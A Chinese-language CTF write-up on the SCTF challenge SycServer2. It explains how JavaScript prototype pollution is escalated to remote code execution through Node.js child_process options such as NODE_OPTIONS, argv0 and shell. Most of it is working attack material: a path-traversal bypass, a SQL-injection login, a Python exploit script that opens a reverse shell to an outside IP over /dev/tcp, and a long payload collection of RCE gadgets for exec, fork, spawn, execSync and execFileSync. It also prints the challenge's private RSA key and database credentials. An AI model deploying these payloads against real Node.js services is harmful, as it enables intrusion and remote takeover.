前几天打了SCTF,发现其中有一道新版Js原型链污染题目很有趣,能够把Prototype Pollution提升到RCE,深入学习分析如下欢迎师傅们交流学习
漏洞解析
首先先回顾一下基本的原型链污染,举例代码如下:
const obj1 = {};
obj1.__proto__.x = 1;
console.log(obj1.x === 1); // true
const obj2 = {};
console.log(obj2.x === 1); // true
漏洞代码如下
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
}
clone(USERINPUT);
spawn 命令的Prototype Pollution to RCE 分析
简单来说就是,spawn
函数通过对象接收可选参数:这可用于使用 env 属性为子进程设置环境变量。这可用于设置 NODE_OPTIONS 以便为 node 进程设置更多命令行参数。某些参数是不允许的,例如 --eval
,但 --require
可用于包含任何文件。由于生成了新进程,因此文件系统上有一些新文件。文件 /proc/self/environ
包含当前进程的环境变量,这些变量已经通过 env 选项受到攻击者的控制。
利用此功能的方法是在包含 JavaScript 代码并带有尾部注释的NODE_OPTIONS变量之前插入一个新的环境变量,以避免语法错误。但是问题在于,Node.js 现在始终将NODE_OPTIONS
放在 environ 文件中的首位。
问题解决
要绕过这一点,我们可以用 spawn
函数的另外两个参数:argv0
和 shell
。第一个 argv0
控制传递给新进程的参数列表中的第一个元素。通常,这等效于执行的二进制文件。整个参数列表都反映在文件 /proc/self/cmdline
中,因此第一个元素将位于开头。我们将 NODE_OPTION
S 的值更改为 --require /proc/self/cmdline
并将其有效负载放在 argv0 中即可
但是由于第一个参数已更改,因此无法生成进程,因为它不是有效的命令或文件路径。这可以通过 spawn
函数的 shell
选项来绕过。可以将其设置为二进制文件的路径,然后使用该路径在shell
中生成命令。在 Linux 上,shell
会附加到命令及其参数的前面,如下所示:
/bin/myshell -c “command arg1 arg2 arg3”
要设置shell
为节点可执行文件的路径,攻击者可以在不知道实际路径的情况下使用/proc/self/exe
,并执行自己设定的参数argv0
如下所示:`
execve("/proc/self/exe", ["console.log('pwned!');//", "-c", "node …"], { NODE_OPTIONS: "--require /proc/self/cmdline" })
到此利用的spawn函数的PP2Rce分析完毕!
Patch
其中漏洞修补方式是Object.create(null)
,无论使用任何不受信任的属性名称进行访问,也无法访问该原型。而下面举例的SCTF的题目便是用此waf来防止原型链污染。
const obj = Object.create(null);
Object.prototype.x = 1;
console.log(obj.x === 1); // false
console.log(obj.__proto__); // undefined
SCTF SycServer2 PP2
题目前端是一个JSEncrypt,js里的waf改掉 然后直接'or'1万能密码登录
扫描目录发现robots.txt并且有文件包含漏洞
---- Scanning URL: http://1.95.87.154:35200/ ----
+ http://1.95.87.154:35200/config (CODE:200|SIZE:292)
+ http://1.95.87.154:35200/css (CODE:301|SIZE:153)
+ http://1.95.87.154:35200/hello (CODE:403|SIZE:31)
+ http://1.95.87.154:35200/img (CODE:301|SIZE:153)
+ http://1.95.87.154:35200/index.html (CODE:200|SIZE:4775)
+ http://1.95.87.154:35200/report (CODE:403|SIZE:31)
+ http://1.95.87.154:35200/robots.txt (CODE:200|SIZE:64)
User-agent: *
Disallow:
Disallow: /ExP0rtApi?v=static&f=1.jpeg
http://1.95.87.154:35200/ExP0rtApi?v=.&f=app.js
并且替换../
为空,双写绕过
http://1.95.83.156:30688/ExP0rtApi?v=static&f=//....//....//....//....//....//....//....//app/app.js
读取源码app.js如下
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');
const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});
const {response} = require("express");
const req = require("express/lib/request");
var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });
var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;
const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());
var Reportcache = {}
function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];
if (!token) {
return res.status(403).json({ message: 'No token provided' });
}
jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}
if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}
req.user = decoded;
next();
});
}
app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});
app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});
var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};
app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;
try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});
app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;
file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');
if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}
const filePath = path.join(__dirname, rootpath + "/" + file);
if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}
zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});
app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});
app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});
app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});
//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})
app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
有其它patch
{
"dependencies": {
"body-parser": "^1.20.3",
"cookie-parser": "^1.4.6",
"crypto": "^1.0.1",
"express": "^4.21.0",
"jsonwebtoken": "^9.0.2",
"mysql": "^2.18.1",
"node-rsa": "^1.1.1",
"path": "^0.12.7",
"require-in-the-middle": "^7.4.0"
}
}
handle/index.js
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');
new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);
handle/child_process.js
function patchChildProcess(cp) {
cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });
return cp;
}
function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}
return target.apply(thisArg, args);
};
}
function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
return prototypelessObj;
}
module.exports = patchChildProcess;
审计源码,我们可以看出改题目有可控的原型链污染利用点,但是还有原型链污染执行spwn命令的hock waf需要我们绕过,其实就是上面我们分析利用的spwn命令Prototype Pollution to RCE
spawn Prototype Pollution to RCE调试分析
我们先调试传入如下
{"user":"__proto__","date":"2","reportmessage":{"shell":"calc.exe"}
发现成功污染上
并且调试发现传入的args长度固定是2(因为传入的args是固定的
根据函数得判断逻辑,只有在pos=2
,并且typeof args[pos] === 'object' && args[pos] !== null
时候才能调用prototypelessSpawnOpts(args[pos])
function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
console.log(args[pos])
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
console.log(args[pos])
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}
return target.apply(thisArg, args);
};
}
并调试过程发现spawn函数传入的args虽然长度还是2,但是他的proto存在并且下标为2的值被污染上的{shell: 'calc.exe'}
,也正如文章上面我们的分析所说spawn
函数通过对象接收参数
那么当args[2]
不存在时,就回去上层Object
里面去找下标为,这是便存在成功进入prototypelessSpawnOpts(args[pos])
再看函数逻辑,只要obj不是null,就可以绕过。
这个函数负责创建一个没有原型链的对象,并复制环境变量。
-
创建无原型链的对象:使用
Object.create(null)
创建一个没有原型链的对象。 -
复制环境变量:确保
env
属性也是一个无原型链的对象,并默认使用process.env
。
```js
function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);return prototypelessObj;
}
可以利用新版本nodejs Prototype Pollution to RCE,污染2这个key
```json
{"user":"__proto__","date":"2","reportmessage":{"env":{"NODE_OPTIONS":"-r /proc/self/environ","NODE_DEBUG":"require('child_process').execSync('touch /tmp/kaikaix');process.exit();//"},"shell":"/readflag"}}
命令执行的多种方法
-
方法一
由于题目中有/readflag
,便可以直接执行/readflag{"user":"__proto__","date":"2","reportmessage":{"shell": "/readflag"}}
-
方法二
该题目我们写poc脚本污染上,执行反弹shell
import requests
remote_addr = 'http://1.95.87.154:22483'
rs = requests.Session()
def login():
resp = rs.post(remote_addr+"/login",json={"username":"admin","password":"DbT33V+xr+TZQm+pYfR5qyShF8Ok5hzF5kMCEL/reDznBsBCb3+2n73qElMY4N9FOxBddIfkSX90m3eAtmJV4WsQDHVVzlkhIbDiKrJr3djl8z/aZo6K7nLTD85D2t97lkjvon3oQOpZ8ArpYRsAHkWxA0KuOYLkmlyNcDpUG8o="})
assert 'Login Success' in resp.text
login()
def add_report(username,date,report):
resp = rs.post(remote_addr+"/report",json={"user":username,"date":date,"reportmessage":report})
assert 'Report Success' in resp.text
add_report("__proto__",2,{"shell":"/proc/self/exe","argv0":"console.log(require('child_process').execSync('bash -c \"/bin/sh -i >& /dev/tcp/123.45.6.7/9999 0>&1\"').toString())//","env":{"NODE_OPTIONS":"--require /proc/self/cmdline"}})
{"user":"__proto__","date":"2","reportmessage":{"env":{"NODE_OPTIONS":"-r /proc/self/environ","NODE_DEBUG":"require('child_process').execSync('touch /tmp/kaikaix');process.exit();//"},"shell":"/readflag"}}
PP2RCE 漏洞 child_process 函数
下面列一下child_proces
中的每个函数的漏洞利用代码RCE方便以后见到不用函数进行利用
exec
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');
// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
span
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');